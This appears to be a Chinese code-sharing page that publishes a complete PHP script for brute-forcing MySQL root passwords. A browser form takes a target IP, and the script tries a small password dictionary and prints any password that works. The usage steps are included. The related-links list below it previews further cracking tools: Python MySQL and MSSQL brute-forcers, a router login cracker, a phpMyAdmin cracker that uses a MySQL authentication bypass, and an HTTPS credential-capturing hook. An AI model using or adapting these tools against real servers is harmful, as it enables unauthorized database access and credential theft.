PHP版Mysql爆破小脚本
Mysql PHP版本爆破小脚本
(注意:从代码可以看出用户名是个变量,一般数据库账号不会变,所以用户名没用数组作为字典。密码是用数组作为字典。字典可根据规矩扩展,破解的成功与失败,就看你扩展的字典强大不强大了。用法:保存代码为MysqlDatabaseBlasting.php,浏览器打开就可使用。 )
/*
* author:Bearcat 2016-10-5
*/
<html>
<head>
<title>Mysql账号密码爆破工具</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
<center>
<br><br>
<h1>MysqlDatabaseBlasting(Mysql账号密码在线爆破工具 V1.0)</h1>
<br>
<?php
if(@$_POST['submit']){
$host = @$_POST['host'];
if($host!=""){
$username = "root";//用户名字典
$password = array('','123456','admin','root','ccf304vn'); //密码字典
echo "<hr><br>--------------------爆破状态--------------------<br>";
echo "密码错误次数:";
for ($i=0; $i <= count($password); $i++) {
if(@mysql_connect($host, $username, $password[$i])){
echo "<br><br><font color='red'>爆破成功--密码-->".@$password[$i]."</font>";
break;
}else{
echo $i."、";
continue;
}
}
echo "<br>--------------------爆破结束--------------------<br><hr>";
}else{
echo "<script>alert('黑客,输入数据库IP地址')</script>";
}
}
?>
<br><br><br><br>
<form action="MysqlDatabaseBlasting.php" method="post">
数据库IP地址:<input type="text" name="host"/>
<input type="submit" value="爆破" name="submit"/>
</form>
<center>
</body>
</html>
相关推荐
-
Python版Mysql爆破小脚本
Mysql Python版本爆破小脚本,需要安装Python插件MySQL-python.exe,可以看出代码量很少,(注意:里用户名和密码都是类似字典.用法:保存代码为MysqlDatabaseBlasting.py,cmd切换到 MysqlDatabaseBlasting.py路径下,并 执行 MysqlDatabaseBlasting.py即可开始破解 ) import MySQLdb #coding=gbk #目标IP mysql数据库必须开启3360远程登陆端口 mysql_usern
-
python利用hook技术破解https的实例代码
相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到"大米"的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码: 下面是源代码
-
python实现多线程暴力破解登陆路由器功能代码分享
运行时请在其目录下添加user.txt passwd.txt两文件.否则会报错.程序没有加异常处理.代码比较挫..... 复制代码 代码如下: #coding:utf-8- import base64 import urllib2 import Queue import threading,re,sys queue = Queue.Queue() class Rout_thread(threading.Thread): def __init__(self,queue,passwd): threa
-
Python写的PHPMyAdmin暴力破解工具代码
PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用. #!/usr/bin/env python import urllib import urllib2 import cookielib import sys import subprocess def Crack(url,username,password): opener = urllib2.build_opener(urllib2.HTT
-
Python脚本暴力破解栅栏密码
今天遇到一个要破解的栅栏密码,先给大家介绍通用的脚本. 方法一(通用脚本): #!/usr/bin/env python # -*- coding: gbk -*- # -*- coding: utf_ -*- e = raw_input('请输入要解密的字符串\n') elen = len(e) field=[] for i in range(,elen): if(elen%i==): field.append(i) for f in field: b = elen / f result =
-
PHP版Mysql爆破小脚本
Mysql PHP版本爆破小脚本 (注意:从代码可以看出用户名是个变量,一般数据库账号不会变,所以用户名没用数组作为字典.密码是用数组作为字典.字典可根据规矩扩展,破解的成功与失败,就看你扩展的字典强大不强大了.用法:保存代码为MysqlDatabaseBlasting.php,浏览器打开就可使用. ) /* * author:Bearcat 2016-10-5 */ <html> <head> <title>Mysql账号密码爆破工具</title> &l
-
Python版Mssql爆破小脚本
Mssql Python版本爆破小脚本,需要安装 MSSQL-python.exe 可以看出代码量很少,用法:保存代码为MssqlDatabaseBlasting.py,cmd切换到 MssqlDatabaseBlasting.py路径下,并 执行 MssqlDatabaseBlasting.py即可开始破解 import pymssql common_weak_password = ('','123456','test','root','admin','user')#密码字典 mssql_us
-
一个Shell小脚本精准统计Mysql每张表的行数实现
前言 对于开发或者运维人员来说,Mysql数据库每张表的数量肯定是要了解下,有助于我们清理无用数据或者了解哪张表比较占用空间. 另外多次统计表的行数,还能发现Mysql表的增量情况,能够预测表未来会有多大的量. 废话不多说,直接带大家写一个简单的Shell小脚本 循环获取数据库名 直接上Shell代码,show databases获取所有的库名.结果有一个我们不想要的,就是Database,这个grep -v掉,轻松获取所有数据库 [root@shijiangeit ~]# mysql -h 1
-
如何安装绿色版MySQL Community Server 5.7.16并实现远程登录
1.下载MySQL Community Server 5.7.16 安装好 2.进去mysql安装目录的bin目录下,在文件地址栏输入cmd回车 3.输入命令:mysqld --initialize-insecure --console 4.输入命令:mysqld -install 5.mysql -u root--skip-password 6.ALTER USER 'root'@'localhost'IDENTIFIEDBY '123456'; 7.\quit 8.mysql -h loca
-
解决Win7 x64安装解压版mysql 5.7.18 winx64出现服务无法启动问题
今天在mysql官网上下载了mysql-5.7.18-winx64.zip,并解压: 然后按http://www.jb51.net/article/83646.htm的步骤去配置, 但是在net start mysql这一步一直报错"MySQL 服务正在启动 .MySQL 服务无法启动." 经过网上数小时的搜索,才搞定,,解决方法如下: 先删掉目录../mysql-5.7.18-winx64下的文件夹data (不放心的话,可以将之剪切到其它目录). 然后执行初始化命令mysqld -
-
在 Windows 10 上安装 解压缩版 MySql(推荐)
mysql win10 解压缩 下载 解压 Mysql :版本 5.7.13 下载链接 (通过这个官网zip链接可以直接下载,不用再注册 Oracle 账号了) 解压 mysql-5.7.13-winx64.zip 到 任意目录,我解压到了 "D:/Program Files/mysql/mysql-5.7.13-winx64" 配置系统变量 在系统变量 PATH 中加一条 "D:\Program Files\mysql\mysql-5.7.13-winx64\bin&quo
-
Navicat for MySQL导出表结构脚本的简单方法
使用MySQL可视化工具Navicat导出MySQL的表结构脚本的方法. 1.右键Navicat中的数据库→数据传输(Data Transfer). 2.左边数据库对象(Database Objects)中选择对应的表,右边目标(Target)中选择文件(File)选择脚本存储的名称及位置,再在上面选择高级(Advanced). 3.去掉记录选项(Record Options)中插入记录(Insert records)的勾. 4.左边的表选项(Table Options)里,可以根据自己情况勾选
-
python实现读取excel写入mysql的小工具详解
Python是数据分析的强大利器 利用Python做数据分析,第一步就是学习如何读取日常工作中产生各种excel报表并存入数据中,方便后续数据处理. 这里向大家分享python如何读取excel,并使用Python将数据存入Mysql中,有需要的朋友们一起来看看吧. 背景 需要导入全国高校名录到数据库,从教委网站下到了最新的数据,是excel格式,需要做一个工具进行导入,想试用一下python,说干就干. 库 xlrd : excel读写库 pymysql : mysql数据库驱动库,纯pyth
-
Windows10下安装解压版MySQL教程图文详解
MySQL安装分为安装版和解压版,安装版主要是由一个exe程序式安装,有界面鼠标点击安装即可,小白建议使用安装版安装mysql,相比较与安装版,解压版安装更"纯净",没有多余的东西,但是较为复杂,坑点也比较多(都是泪),本教程位于提供安装MySQL最新版8.0.11的正确姿势(滑稽) 1.到MySQL官网下载压缩包 网址:https://dev.mysql.com/downloads/mysql/ 这里我们选择MySQL Community Server 点击Download 接下来点
随机推荐
- Flex AIR 重启需要修改的配置文件
- 自己打造HTML在线编辑器的实现难点分析
- mvc C# JavaScript LigerUI oracle实现用户的注册、登陆验证、登陆
- java字符串比较获取字符串出现次数的示例
- js的各种排序算法实现(总结)
- centos6.4下nginx1.12.1安装教程
- PHP登录环节防止sql注入的方法浅析
- java 实现文件夹的拷贝实例代码
- SQL Agent服务无法启动的解决方法
- 解决webpack打包速度慢的解决办法汇总
- Android 实现旋转木马的音乐效果
- Java新特性之Nashorn_动力节点Java学院整理
- Lock、Condition实现简单的生产者消费者模式示例
- 第三层交换技术及在VLAN子网规划中的应用
- vue.js 底部导航栏 一级路由显示 子路由不显示的解决方法
- .net WCF简单实例详解(5)
- C#调用WebService实例与开发教程(推荐)
- Spring学习笔记之RedisTemplate的配置与使用教程
- PHP使用HTML5 FileApi实现Ajax上传文件功能示例
- C#判断获取的是文件夹还是文件的实例
